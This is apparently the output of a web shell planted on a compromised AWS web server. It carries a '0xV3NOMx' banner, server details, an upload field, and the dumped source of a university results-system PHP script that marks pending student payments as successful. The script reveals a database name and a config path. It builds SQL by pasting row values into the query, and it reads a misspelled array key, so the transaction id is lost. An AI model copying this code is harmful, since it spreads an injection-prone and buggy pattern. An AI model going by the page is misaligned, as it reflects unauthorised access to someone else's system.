0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.146.178.220


Current Path : /var/www/html/kus/
Upload File :
Current File : /var/www/html/kus/rv_update.php

<?php
	ini_set('max_execution_time', 600);
	include("/var/www/config.php");
	$servername = SERVERNAME;
	$username   = USERNAME;
	$password  = PASSWORD;
	$dbname = "logisys3_kus";
	/*$servername = "localhost";
	$username = "root";
	$password = "";
	$dbname = "resultsg_kus";*/
	$conn = new mysqli($servername, $username, $password, $dbname);


//	$update="update pgstudadm p, pg_txn t set p.`FPAYSTATUS` = 'success', p.FPAYREMARKS = 'Manual',
//	p.FPAYID = t.fappno, FPAYDATE = now()
//	where p.fappno = t.fappno
//	and ifnull(p.`FPAYSTATUS`,'') <> 'success'";
//	$result = $conn->query($update);

	$query = "select distinct ac.appno, ac.fregno, ac.FPAYMENTSTATUS, ac.FPAYGATEWAY,kp.fname as fname, ac.FDATE,
	ac.fcollcode, ac.fdegree ,kp.ftranid from res_stud ac
	inner join pg_txn kp on
	ac.appno = kp.fappno
	where ifnull(ac.FPAYMENTSTATUS,'') <> 'success'";
	
	$resultm = $conn->query($query);
	
	if (mysqli_num_rows($resultm) > 0) 
	{
		while($row = mysqli_fetch_assoc($resultm)) 
		{

			$productinfo  = $row['appno'];
			$regno = $row['fregno'];
			$paytm  = $row['FPAYGATEWAY'];
			$degree  = $row['fdegree'];
			$collcode  = $row['fcollcode'];
			$fname  = $row['fname'];
            $txnid  = $row['.ftranid'];
			//$firstname = "paytm";

			 $update="update res_stud set FPAYMENTREMARKS='{$txnid}',FPAYMENTSTATUS='success',
                    FPAYMENTCONFIRM='success', fackdate = current_date(), funivrecdate = current_date(), 
                    fackuser = '{$fname}', FCHALLANNO = '{$productinfo}'
                    where APPNO='{$productinfo}'";
			$result = $conn->query($update);

			
		
			//var_dump($insert_studfee);
			echo $regno;

			echo "<br/>";

		}
	}

?>